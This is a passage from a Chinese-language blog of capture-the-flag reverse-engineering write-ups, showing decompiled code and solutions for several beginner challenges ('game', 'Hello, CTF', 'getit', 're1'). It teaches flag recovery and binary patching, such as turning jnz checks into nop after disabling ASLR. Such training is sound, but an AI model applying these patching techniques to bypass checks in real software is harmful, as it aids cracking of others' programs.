class="line"> s += chr(x)</span><br><span class="line"></span><br><span class="line"> return base64.b64encode(s)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'</span><br><span class="line">flag = ''</span><br><span class="line">print 'Input flag:'</span><br><span class="line">flag = raw_input()</span><br><span class="line">if encode(flag) == correct:</span><br><span class="line"> print 'correct'</span><br><span class="line">else:</span><br><span class="line"> print 'wrong'</span><br><span class="line"># okay decompiling f417c0d03b0344eb9969ed0e1f772091.pyc</span><br></pre></td></tr></table></figure><p>按程序逻辑解码即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">decode</span><span class="params">(message)</span>:</span></span><br><span class="line"> message = base64.b64decode(message)</span><br><span class="line"> flag=<span class="string">''</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> message:</span><br><span class="line"> x = ord(i)</span><br><span class="line"> x -= <span class="number">16</span></span><br><span class="line"> result = x^<span class="number">32</span></span><br><span class="line"> flag += chr(result)</span><br><span class="line"> <span class="keyword">return</span> flag</span><br><span class="line"></span><br><span class="line">message = <span class="string">'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'</span></span><br><span class="line">print(decode(message))</span><br></pre></td></tr></table></figure><h1 id="game"><a href="#game" class="headerlink" title="game"></a>game</h1><p>一个小游戏,需要把所有的灯都打开<br><img src="/images/game1.JPG" alt=""></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main_0</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> i; <span class="comment">// [esp+DCh] [ebp-20h]</span></span><br><span class="line"> <span class="keyword">int</span> v1; <span class="comment">// [esp+F4h] [ebp-8h]</span></span><br><span class="line"></span><br><span class="line"> sub_45A7BE(&unk_50B110);</span><br><span class="line"> sub_45A7BE(&unk_50B158);</span><br><span class="line"> sub_45A7BE(&unk_50B1A0);</span><br><span class="line"> sub_45A7BE(&unk_50B1E8);</span><br><span class="line"> sub_45A7BE(&unk_50B230);</span><br><span class="line"> sub_45A7BE(&unk_50B278);</span><br><span class="line"> sub_45A7BE(&unk_50B2C0);</span><br><span class="line"> sub_45A7BE(&unk_50B308);</span><br><span class="line"> sub_45A7BE(&unk_50AFD0);</span><br><span class="line"> sub_45A7BE(<span class="string">"| by 0x61 |\n"</span>);</span><br><span class="line"> sub_45A7BE(<span class="string">"| |\n"</span>);</span><br><span class="line"> sub_45A7BE(<span class="string">"|------------------------------------------------------|\n"</span>);</span><br><span class="line"> sub_45A7BE(</span><br><span class="line"> <span class="string">"Play a game\n"</span></span><br><span class="line"> <span class="string">"The n is the serial number of the lamp,and m is the state of the lamp\n"</span></span><br><span class="line"> <span class="string">"If m of the Nth lamp is 1,it's on ,if not it's off\n"</span></span><br><span class="line"> <span class="string">"At first all the lights were closed\n"</span>);</span><br><span class="line"> sub_45A7BE(<span class="string">"Now you can input n to change its state\n"</span>);</span><br><span class="line"> sub_45A7BE(</span><br><span class="line"> <span class="string">"But you should pay attention to one thing,if you change the state of the Nth lamp,the state of (N-1)th and (N+1)th w"</span></span><br><span class="line"> <span class="string">"ill be changed too\n"</span>);</span><br><span class="line"> sub_45A7BE(<span class="string">"When all lamps are on,flag will appear\n"</span>);</span><br><span class="line"> sub_45A7BE(<span class="string">"Now,input n \n"</span>);</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> sub_45A7BE(<span class="string">"input n,n(1-8)\n"</span>);</span><br><span class="line"> sub_459418();</span><br><span class="line"> sub_45A7BE(<span class="string">"n="</span>);</span><br><span class="line"> sub_4596D4(<span class="string">"%d"</span>, &v1);</span><br><span class="line"> sub_45A7BE(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="keyword">if</span> ( v1 >= <span class="number">0</span> && v1 <= <span class="number">8</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> sub_45A7BE(<span class="string">"sorry,n error,try again\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( v1 )</span><br><span class="line"> {</span><br><span class="line"> sub_4576D6(v1 - <span class="number">1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < <span class="number">8</span>; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)i >= <span class="number">9</span> )</span><br><span class="line"> j____report_rangecheckfailure();</span><br><span class="line"> byte_532E28[i] = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> j__system(<span class="string">"CLS"</span>);</span><br><span class="line"> sub_458054();</span><br><span class="line"> <span class="keyword">if</span> ( byte_532E28[<span class="number">0</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">1</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">2</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">3</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">4</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">5</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">6</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">7</span>] == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> sub_457AB4();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>其中这一段是在判断所有的灯是否打开<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( byte_532E28[<span class="number">0</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">1</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">2</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">3</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">4</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">5</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">6</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">7</span>] == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> sub_457AB4();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure></li><li><code>sub_457AB4</code>会调用<code>sub_45E940</code>计算并输出flag</li></ul><p>接下来方法有很多:</p><ul><li>修改汇编,运行至<code>sub_457AB4();</code></li><li>根据游戏规则,暴力穷举可行解</li><li>根据<code>sub_45E940</code>的逻辑算出flag</li></ul><p>这里用最快的第一种方法</p><h2 id="找到对应汇编"><a href="#找到对应汇编" class="headerlink" title="找到对应汇编"></a>找到对应汇编</h2><p>找到对应下面这段代码的汇编</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( byte_532E28[<span class="number">0</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">1</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">2</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">3</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">4</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">5</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">6</span>] == <span class="number">1</span></span><br><span class="line"> && byte_532E28[<span class="number">7</span>] == <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> sub_457AB4();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">text:</span>0045F5D1 <span class="keyword">movzx</span> <span class="built_in">edx</span>, byte_532E28[<span class="built_in">ecx</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F5D8 <span class="keyword">cmp</span> <span class="built_in">edx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F5DB <span class="keyword">jnz</span> loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F5E1 <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F5E6 <span class="keyword">shl</span> <span class="built_in">eax</span>, <span class="number">0</span></span><br><span class="line"><span class="symbol">.text:</span>0045F5E9 <span class="keyword">movzx</span> <span class="built_in">ecx</span>, byte_532E28[<span class="built_in">eax</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F5F0 <span class="keyword">cmp</span> <span class="built_in">ecx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F5F3 <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F5F5 <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F5FA <span class="keyword">shl</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F5FC <span class="keyword">movzx</span> <span class="built_in">ecx</span>, byte_532E28[<span class="built_in">eax</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F603 <span class="keyword">cmp</span> <span class="built_in">ecx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F606 <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F608 <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F60D <span class="keyword">imul</span> <span class="built_in">ecx</span>, <span class="built_in">eax</span>, <span class="number">3</span></span><br><span class="line"><span class="symbol">.text:</span>0045F610 <span class="keyword">movzx</span> <span class="built_in">edx</span>, byte_532E28[<span class="built_in">ecx</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F617 <span class="keyword">cmp</span> <span class="built_in">edx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F61A <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F61C <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F621 <span class="keyword">shl</span> <span class="built_in">eax</span>, <span class="number">2</span></span><br><span class="line"><span class="symbol">.text:</span>0045F624 <span class="keyword">movzx</span> <span class="built_in">ecx</span>, byte_532E28[<span class="built_in">eax</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F62B <span class="keyword">cmp</span> <span class="built_in">ecx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F62E <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F630 <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F635 <span class="keyword">imul</span> <span class="built_in">ecx</span>, <span class="built_in">eax</span>, <span class="number">5</span></span><br><span class="line"><span class="symbol">.text:</span>0045F638 <span class="keyword">movzx</span> <span class="built_in">edx</span>, byte_532E28[<span class="built_in">ecx</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F63F <span class="keyword">cmp</span> <span class="built_in">edx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F642 <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F644 <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F649 <span class="keyword">imul</span> <span class="built_in">ecx</span>, <span class="built_in">eax</span>, <span class="number">6</span></span><br><span class="line"><span class="symbol">.text:</span>0045F64C <span class="keyword">movzx</span> <span class="built_in">edx</span>, byte_532E28[<span class="built_in">ecx</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F653 <span class="keyword">cmp</span> <span class="built_in">edx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F656 <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F658 <span class="keyword">mov</span> <span class="built_in">eax</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F65D <span class="keyword">imul</span> <span class="built_in">ecx</span>, <span class="built_in">eax</span>, <span class="number">7</span></span><br><span class="line"><span class="symbol">.text:</span>0045F660 <span class="keyword">movzx</span> <span class="built_in">edx</span>, byte_532E28[<span class="built_in">ecx</span>]</span><br><span class="line"><span class="symbol">.text:</span>0045F667 <span class="keyword">cmp</span> <span class="built_in">edx</span>, <span class="number">1</span></span><br><span class="line"><span class="symbol">.text:</span>0045F66A <span class="keyword">jnz</span> short loc_45F671</span><br><span class="line"><span class="symbol">.text:</span>0045F66C <span class="keyword">call</span> sub_457AB4</span><br></pre></td></tr></table></figure><p>可以看到这里进行了多次<code>cmp</code>比较,不符合要求就<code>jnz</code>跳走,全部符合就执行<code>call sub_457AB4</code></p><p>那么直接在x64dbg或者ollydbg里把<code>jnz</code>改成nop就好</p><h2 id="关闭aslr"><a href="#关闭aslr" class="headerlink" title="关闭aslr"></a>关闭aslr</h2><p>由于aslr的存在,程序运行时会发生基址重定位。因此x64dbg和ollydbg里程序的基址和ida里是不同的,可以使用loadpe关掉exe的aslr</p><p><img src="/images/game2.JPG" alt=""></p><p>选择Characteristics,勾选第一项Relocation stripped然后save即可</p><h2 id="修改汇编"><a href="#修改汇编" class="headerlink" title="修改汇编"></a>修改汇编</h2><p><img src="/images/game3.JPG" alt=""></p><p>把8个<code>jnz</code>都改成nop,运行到最后的call即可</p><p><img src="/images/game4.JPG" alt=""></p><h1 id="Hello-CTF"><a href="#Hello-CTF" class="headerlink" title="Hello, CTF"></a>Hello, CTF</h1><p><img src="/images/hello_ctf1.JPG" alt=""></p><p>反汇编</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">signed</span> <span class="keyword">int</span> v3; <span class="comment">// ebx</span></span><br><span class="line"> <span class="keyword">char</span> v4; <span class="comment">// al</span></span><br><span class="line"> <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">int</span> v6; <span class="comment">// [esp+0h] [ebp-70h]</span></span><br><span class="line"> <span class="keyword">int</span> v7; <span class="comment">// [esp+0h] [ebp-70h]</span></span><br><span class="line"> <span class="keyword">char</span> v8; <span class="comment">// [esp+12h] [ebp-5Eh]</span></span><br><span class="line"> <span class="keyword">char</span> v9[<span class="number">20</span>]; <span class="comment">// [esp+14h] [ebp-5Ch]</span></span><br><span class="line"> <span class="keyword">char</span> v10; <span class="comment">// [esp+28h] [ebp-48h]</span></span><br><span class="line"> __int16 v11; <span class="comment">// [esp+48h] [ebp-28h]</span></span><br><span class="line"> <span class="keyword">char</span> v12; <span class="comment">// [esp+4Ah] [ebp-26h]</span></span><br><span class="line"> <span class="keyword">char</span> v13; <span class="comment">// [esp+4Ch] [ebp-24h]</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">strcpy</span>(&v13, <span class="string">"437261636b4d654a757374466f7246756e"</span>);</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">memset</span>(&v10, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line"> v11 = <span class="number">0</span>;</span><br><span class="line"> v12 = <span class="number">0</span>;</span><br><span class="line"> sub_40134B(aPleaseInputYou, v6);</span><br><span class="line"> <span class="built_in">scanf</span>(aS, v9);</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">strlen</span>(v9) > <span class="number">0x11</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> v3 = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> v4 = v9[v3];</span><br><span class="line"> <span class="keyword">if</span> ( !v4 )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="built_in">sprintf</span>(&v8, asc_408044, v4);</span><br><span class="line"> <span class="built_in">strcat</span>(&v10, &v8);</span><br><span class="line"> ++v3;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( v3 < <span class="number">17</span> );</span><br><span class="line"> <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(&v10, &v13) )</span><br><span class="line"> sub_40134B(aSuccess, v7);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> sub_40134B(aWrong, v7);</span><br><span class="line"> }</span><br><span class="line"> sub_40134B(aWrong, v7);</span><br><span class="line"> result = stru_408090._cnt-- - <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( stru_408090._cnt < <span class="number">0</span> )</span><br><span class="line"> <span class="keyword">return</span> _filbuf(&stru_408090);</span><br><span class="line"> ++stru_408090._ptr;</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>将用户输入转成16进制与437261636b4d654a757374466f7246756e对比,把437261636b4d654a757374466f7246756e转成字符串即可</p><h1 id="getit"><a href="#getit" class="headerlink" title="getit"></a>getit</h1><p>64位的ELF文件</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> v3; <span class="comment">// al</span></span><br><span class="line"> __int64 v5; <span class="comment">// [rsp+0h] [rbp-40h]</span></span><br><span class="line"> <span class="keyword">int</span> i; <span class="comment">// [rsp+4h] [rbp-3Ch]</span></span><br><span class="line"> FILE *stream; <span class="comment">// [rsp+8h] [rbp-38h]</span></span><br><span class="line"> <span class="keyword">char</span> filename[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-30h]</span></span><br><span class="line"> <span class="keyword">unsigned</span> __int64 v9; <span class="comment">// [rsp+28h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line"> v9 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> LODWORD(v5) = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> ( (<span class="keyword">signed</span> <span class="keyword">int</span>)v5 < <span class="built_in">strlen</span>(s) ) <span class="comment">// s = db 'c61b68366edeb7bdce3c6820314b7498',0</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( v5 & <span class="number">1</span> )</span><br><span class="line"> v3 = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> v3 = <span class="number">-1</span>;</span><br><span class="line"> *(&t + (<span class="keyword">signed</span> <span class="keyword">int</span>)v5 + <span class="number">10</span>) = s[(<span class="keyword">signed</span> <span class="keyword">int</span>)v5] + v3;</span><br><span class="line"> LODWORD(v5) = v5 + <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">strcpy</span>(filename, <span class="string">"/tmp/flag.txt"</span>);</span><br><span class="line"> stream = fopen(filename, <span class="string">"w"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(stream, <span class="string">"%s\n"</span>, u, v5);</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i < <span class="built_in">strlen</span>(&t); ++i )</span><br><span class="line"> {</span><br><span class="line"> fseek(stream, p[i], <span class="number">0</span>);</span><br><span class="line"> fputc(*(&t + p[i]), stream);</span><br><span class="line"> fseek(stream, <span class="number">0L</span>L, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(stream, <span class="string">"%s\n"</span>, u);</span><br><span class="line"> }</span><br><span class="line"> fclose(stream);</span><br><span class="line"> <span class="built_in">remove</span>(filename);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>gdb调试下发现经过第一个<code>while</code>后<code>t</code>指向的字符串的就是flag….</p><p>程序的逻辑有空再写…(咕了)</p><h1 id="re1"><a href="#re1" class="headerlink" title="re1"></a>re1</h1><p><img src="/images/re1.JPG" alt=""></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line"> __int128 v5; <span class="comment">// [esp+0h] [ebp-44h]</span></span><br><span class="line"> __int64 v6; <span class="comment">// [esp+10h] [ebp-34h]</span></span><br><span class="line"> <span class="keyword">int</span> v7; <span class="comment">// [esp+18h] [ebp-2Ch]</span></span><br><span class="line"> __int16 v8; <span class="comment">// [esp+1Ch] [ebp-28h]</span></span><br><span class="line"> <span class="keyword">char</span> v9; <span class="comment">// [esp+20h] [ebp-24h]</span></span><br><span class="line"></span><br><span class="line"> _mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((<span class="keyword">const</span> __m128i *)&xmmword_413E34));</span><br><span class="line"> v7 = <span class="number">0</span>;</span><br><span class="line"> v6 = qword_413E44;</span><br><span class="line"> v8 = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">printf</span>(&byte_413E4C);</span><br><span class="line"> <span class="built_in">printf</span>(&byte_413E60);</span><br><span class="line"> <span class="built_in">printf</span>(&byte_413E80);</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%s"</span>, &v9);</span><br><span class="line"> v3 = <span class="built_in">strcmp</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)&v5, &v9);</span><br><span class="line"> <span class="keyword">if</span> ( v3 )</span><br><span class="line"> v3 = -(v3 < <span class="number">0</span>) | <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> ( v3 )</span><br><span class="line"> <span class="built_in">printf</span>(aFlag);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">printf</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)&unk_413E90);</span><br><span class="line"> system(<span class="string">"pause"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>逻辑很明显,将用户输入<code>v9</code>与<code>v5</code>对比,正确则输出<code>aFlag</code></p><p><code>_mm_storeu_si128((__m128i *)&v5, _mm_loadu_si128((const __m128i *)&xmmword_413E34));</code>类似于一个<code>memset</code>,将<code>xmmword_413E34</code>的值赋给v5。实际上<code>xmmword_413E34</code>就是flag,不过ida会将其识别为16进制数<br><img src="/images/re1_2.JPG" alt=""></p><p>用R指令转为字符串<br><img src="/images/re1_3.JPG" alt=""></p><p>因为是小端存储所以要倒过来</p><p>用x64dbg的话直接就会识别出字符串…<br><img src="/images/re1_4.JPG" alt=""></p><h1 id="no-strings-attached"><a href="#no-strings-attached" class="headerlink" title="no-strings-attached"></a>no-strings-attached</h1><p>不知道为啥运行会报错..<br><img src="/images/no_strings_attach1.JPG" alt=""></p><figure class="highlight c"><table><tr><td 